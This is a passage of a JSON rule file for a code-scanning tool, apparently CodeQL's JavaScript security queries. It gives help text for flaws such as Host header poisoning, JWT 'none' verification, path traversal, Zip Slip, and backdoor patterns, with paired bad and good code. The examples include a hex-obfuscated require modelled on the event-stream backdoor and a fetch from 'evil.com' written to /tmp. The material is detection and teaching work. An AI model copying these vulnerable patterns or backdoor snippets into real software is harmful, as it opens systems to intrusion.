arbitrary internal\n              entity expansion is vulnerable to denial-of-service attacks.","id":"js/xml-bomb","kind":"path-problem","name":"XML internal entity expansion","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/host-header-forgery-in-email-generation","name":"js/host-header-forgery-in-email-generation","shortDescription":{"text":"Host header poisoning in email generation"},"fullDescription":{"text":"Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n  });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n  });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n","markdown":"# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n  });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n  });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n"},"properties":{"tags":["security","external/cwe/cwe-640"],"description":"Using the HTTP Host header to construct a link in an email can facilitate phishing\n              attacks and leak password reset tokens.","id":"js/host-header-forgery-in-email-generation","kind":"path-problem","name":"Host header poisoning in email generation","precision":"high","problem.severity":"error","security-severity":"9.8"}},{"id":"js/jwt-missing-verification","name":"js/jwt-missing-verification","shortDescription":{"text":"JWT missing secret or public key verification"},"fullDescription":{"text":"The application does not verify the JWT payload with a cryptographic secret or public key."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# JWT missing secret or public key verification\nApplications decoding JSON Web Tokens (JWT) may be misconfigured due to the `None` algorithm.\n\nThe `None` algorithm is selected by calling the `verify()` function with a falsy value instead of a cryptographic secret or key. The `None` algorithm disables the integrity enforcement of a JWT payload and may allow a malicious actor to make unintended changes to a JWT payload leading to critical security issues like privilege escalation.\n\n\n## Recommendation\nCalls to `verify()` functions should use a cryptographic secret or key to decode JWT payloads.\n\n\n## Example\nIn the example below, `false` is used to disable the integrity enforcement of a JWT payload. This may allow a malicious actor to make changes to a JWT payload.\n\n\n```javascript\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"none\" })\njwt.verify(token, false, { algorithms: [\"HS256\", \"none\"] })\n```\nThe following code fixes the problem by using a cryptographic secret or key to decode JWT payloads.\n\n\n```javascript\n\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"HS256\" }) \njwt.verify(token, secret, { algorithms: [\"HS256\", \"none\"] })\n```\n\n## References\n* Auth0 Blog: [Meet the \"None\" Algorithm](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm).\n* Common Weakness Enumeration: [CWE-347](https://cwe.mitre.org/data/definitions/347.html).\n","markdown":"# JWT missing secret or public key verification\nApplications decoding JSON Web Tokens (JWT) may be misconfigured due to the `None` algorithm.\n\nThe `None` algorithm is selected by calling the `verify()` function with a falsy value instead of a cryptographic secret or key. The `None` algorithm disables the integrity enforcement of a JWT payload and may allow a malicious actor to make unintended changes to a JWT payload leading to critical security issues like privilege escalation.\n\n\n## Recommendation\nCalls to `verify()` functions should use a cryptographic secret or key to decode JWT payloads.\n\n\n## Example\nIn the example below, `false` is used to disable the integrity enforcement of a JWT payload. This may allow a malicious actor to make changes to a JWT payload.\n\n\n```javascript\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"none\" })\njwt.verify(token, false, { algorithms: [\"HS256\", \"none\"] })\n```\nThe following code fixes the problem by using a cryptographic secret or key to decode JWT payloads.\n\n\n```javascript\n\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"HS256\" }) \njwt.verify(token, secret, { algorithms: [\"HS256\", \"none\"] })\n```\n\n## References\n* Auth0 Blog: [Meet the \"None\" Algorithm](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm).\n* Common Weakness Enumeration: [CWE-347](https://cwe.mitre.org/data/definitions/347.html).\n"},"properties":{"tags":["security","external/cwe/cwe-347"],"description":"The application does not verify the JWT payload with a cryptographic secret or public key.","id":"js/jwt-missing-verification","kind":"problem","name":"JWT missing secret or public key verification","precision":"high","problem.severity":"warning","security-severity":"7.0"}},{"id":"js/type-confusion-through-parameter-tampering","name":"js/type-confusion-through-parameter-tampering","shortDescription":{"text":"Type confusion through parameter tampering"},"fullDescription":{"text":"Sanitizing an HTTP request parameter may be ineffective if the user controls its type."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (file.indexOf(\"..\") !== -1) {\n    // BAD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n    // GOOD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n","markdown":"# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (file.indexOf(\"..\") !== -1) {\n    // BAD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n    // GOOD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n"},"properties":{"tags":["security","external/cwe/cwe-843"],"description":"Sanitizing an HTTP request parameter may be ineffective if the user controls its type.","id":"js/type-confusion-through-parameter-tampering","kind":"path-problem","name":"Type confusion through parameter tampering","precision":"high","problem.severity":"error","security-severity":"9.8"}},{"id":"js/path-injection","name":"js/path-injection","shortDescription":{"text":"Uncontrolled data used in path expression"},"fullDescription":{"text":"Accessing paths influenced by users can allow an attacker to access unexpected resources."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Uncontrolled data used in path expression\nAccessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\n\n## Recommendation\nValidate user input before using it to construct a file path.\n\nThe validation method you should use depends on whether you want to allow the user to specify complex paths with multiple components that may span multiple folders, or only simple filenames without a path component.\n\nIn the former case, a common strategy is to make sure that the constructed file path is contained within a safe root folder. First, normalize the path using `path.resolve` or `fs.realpathSync` to remove any \"..\" segments. You should always normalize the file path since an unnormalized path that starts with the root folder can still be used to access files outside the root folder. Then, after you have normalized the path, check that the path starts with the root folder.\n\nIn the latter case, you can use a library like the `sanitize-filename` npm package to eliminate any special characters from the file path. Note that it is *not* sufficient to only remove \"../\" sequences: for example, applying this filter to \".../...//\" would still result in the string \"../\".\n\nFinally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that the user input matches one of these patterns.\n\n\n## Example\nIn the first (bad) example, the code reads the file name from an HTTP request, then accesses that file within a root folder. A malicious user could enter a file name containing \"../\" segments to navigate outside the root folder and access sensitive files.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // BAD: This function uses unsanitized input that can read any file on the file system.\n  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));\n});\n```\nThe second (good) example shows how to avoid access to sensitive files by sanitizing the file path. First, the code resolves the file name relative to a root folder, normalizing the path and removing any \"../\" segments in the process. Then, the code calls `fs.realpathSync` to resolve any symbolic links in the path. Finally, the code checks that the normalized path starts with the path of the root folder, ensuring the file is contained within the root folder.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      path = require('path'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // GOOD: Verify that the file path is under the root directory\n  filePath = fs.realpathSync(path.resolve(ROOT, filePath));\n  if (!filePath.startsWith(ROOT)) {\n    res.statusCode = 403;\n    res.end();\n    return;\n  }\n  res.write(fs.readFileSync(filePath, 'utf8'));\n});\n```\n\n## References\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package.\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html).\n* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html).\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html).\n","markdown":"# Uncontrolled data used in path expression\nAccessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\n\n## Recommendation\nValidate user input before using it to construct a file path.\n\nThe validation method you should use depends on whether you want to allow the user to specify complex paths with multiple components that may span multiple folders, or only simple filenames without a path component.\n\nIn the former case, a common strategy is to make sure that the constructed file path is contained within a safe root folder. First, normalize the path using `path.resolve` or `fs.realpathSync` to remove any \"..\" segments. You should always normalize the file path since an unnormalized path that starts with the root folder can still be used to access files outside the root folder. Then, after you have normalized the path, check that the path starts with the root folder.\n\nIn the latter case, you can use a library like the `sanitize-filename` npm package to eliminate any special characters from the file path. Note that it is *not* sufficient to only remove \"../\" sequences: for example, applying this filter to \".../...//\" would still result in the string \"../\".\n\nFinally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that the user input matches one of these patterns.\n\n\n## Example\nIn the first (bad) example, the code reads the file name from an HTTP request, then accesses that file within a root folder. A malicious user could enter a file name containing \"../\" segments to navigate outside the root folder and access sensitive files.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // BAD: This function uses unsanitized input that can read any file on the file system.\n  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));\n});\n```\nThe second (good) example shows how to avoid access to sensitive files by sanitizing the file path. First, the code resolves the file name relative to a root folder, normalizing the path and removing any \"../\" segments in the process. Then, the code calls `fs.realpathSync` to resolve any symbolic links in the path. Finally, the code checks that the normalized path starts with the path of the root folder, ensuring the file is contained within the root folder.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      path = require('path'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // GOOD: Verify that the file path is under the root directory\n  filePath = fs.realpathSync(path.resolve(ROOT, filePath));\n  if (!filePath.startsWith(ROOT)) {\n    res.statusCode = 403;\n    res.end();\n    return;\n  }\n  res.write(fs.readFileSync(filePath, 'utf8'));\n});\n```\n\n## References\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package.\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html).\n* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html).\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html).\n"},"properties":{"tags":["security","external/cwe/cwe-022","external/cwe/cwe-023","external/cwe/cwe-036","external/cwe/cwe-073","external/cwe/cwe-099"],"description":"Accessing paths influenced by users can allow an attacker to access\n              unexpected resources.","id":"js/path-injection","kind":"path-problem","name":"Uncontrolled data used in path expression","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/zipslip","name":"js/zipslip","shortDescription":{"text":"Arbitrary file access during archive extraction (\"Zip Slip\")"},"fullDescription":{"text":"Extracting files from a malicious ZIP file, or similar type of archive, without validating that the destination file path is within the destination directory can allow an attacker to unexpectedly gain access to resources."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Arbitrary file access during archive extraction (\"Zip Slip\")\nExtracting files from a malicious zip file, or similar type of archive, is at risk of directory traversal attacks if filenames from the archive are not properly validated. archive paths.\n\nZip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to create a filesystem path, then a file operation may happen in an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\nFor example, if a zip file contains a file entry `..\\sneaky-file`, and the zip file is extracted to the directory `c:\\output`, then naively combining the paths would result in an output file path of `c:\\output\\..\\sneaky-file`, which would cause the file to be written to `c:\\sneaky-file`.\n\n\n## Recommendation\nEnsure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.\n\nThe recommended way of writing an output file from a zip archive entry is to check that `\"..\"` does not occur in the path.\n\n\n## Example\nIn this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // BAD: This could write any file on the filesystem.\n    entry.pipe(fs.createWriteStream(fileName));\n  });\n\n```\nTo fix this vulnerability, we need to check that the path does not contain any `\"..\"` elements in it.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // GOOD: ensures the path is safe to write to.\n    if (fileName.indexOf('..') == -1) {\n      entry.pipe(fs.createWriteStream(fileName));\n    }\n    else {\n      console.log('skipping bad path', fileName);\n    }\n  });\n\n```\n\n## References\n* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n","markdown":"# Arbitrary file access during archive extraction (\"Zip Slip\")\nExtracting files from a malicious zip file, or similar type of archive, is at risk of directory traversal attacks if filenames from the archive are not properly validated. archive paths.\n\nZip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to create a filesystem path, then a file operation may happen in an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\nFor example, if a zip file contains a file entry `..\\sneaky-file`, and the zip file is extracted to the directory `c:\\output`, then naively combining the paths would result in an output file path of `c:\\output\\..\\sneaky-file`, which would cause the file to be written to `c:\\sneaky-file`.\n\n\n## Recommendation\nEnsure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.\n\nThe recommended way of writing an output file from a zip archive entry is to check that `\"..\"` does not occur in the path.\n\n\n## Example\nIn this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // BAD: This could write any file on the filesystem.\n    entry.pipe(fs.createWriteStream(fileName));\n  });\n\n```\nTo fix this vulnerability, we need to check that the path does not contain any `\"..\"` elements in it.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // GOOD: ensures the path is safe to write to.\n    if (fileName.indexOf('..') == -1) {\n      entry.pipe(fs.createWriteStream(fileName));\n    }\n    else {\n      console.log('skipping bad path', fileName);\n    }\n  });\n\n```\n\n## References\n* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n"},"properties":{"tags":["security","external/cwe/cwe-022"],"description":"Extracting files from a malicious ZIP file, or similar type of archive, without\n              validating that the destination file path is within the destination directory\n              can allow an attacker to unexpectedly gain access to resources.","id":"js/zipslip","kind":"path-problem","name":"Arbitrary file access during archive extraction (\"Zip Slip\")","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/hardcoded-data-interpreted-as-code","name":"js/hardcoded-data-interpreted-as-code","shortDescription":{"text":"Hard-coded data interpreted as code"},"fullDescription":{"text":"Transforming hard-coded data (such as hexadecimal constants) into code to be executed is a technique often associated with backdoors and should be avoided."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Hard-coded data interpreted as code\nInterpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools.\n\n\n## Recommendation\nExamine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety.\n\n\n## Example\nAs an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package:\n\n\n```javascript\nvar r = require;\n\nfunction e(r) {\n  return Buffer.from(r, \"hex\").toString()\n}\n\n// BAD: hexadecimal constant decoded and interpreted as import path\nvar n = r(e(\"2e2f746573742f64617461\"));\n\n```\nWhile this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident).\n* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html).\n","markdown":"# Hard-coded data interpreted as code\nInterpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools.\n\n\n## Recommendation\nExamine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety.\n\n\n## Example\nAs an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package:\n\n\n```javascript\nvar r = require;\n\nfunction e(r) {\n  return Buffer.from(r, \"hex\").toString()\n}\n\n// BAD: hexadecimal constant decoded and interpreted as import path\nvar n = r(e(\"2e2f746573742f64617461\"));\n\n```\nWhile this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident).\n* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html).\n"},"properties":{"tags":["security","external/cwe/cwe-506"],"description":"Transforming hard-coded data (such as hexadecimal constants) into code\n              to be executed is a technique often associated with backdoors and should\n              be avoided.","id":"js/hardcoded-data-interpreted-as-code","kind":"path-problem","name":"Hard-coded data interpreted as code","precision":"medium","problem.severity":"error","security-severity":"9.1"}},{"id":"js/http-to-file-access","name":"js/http-to-file-access","shortDescription":{"text":"Network data written to file"},"fullDescription":{"text":"Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n  res.on(\"data\", d => {\n    fs.writeFileSync(\"/tmp/script\", d)\n  })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n","markdown":"# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n  res.on(\"data\", d => {\n    fs.writeFileSync(\"/tmp/script\", d)\n  })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted 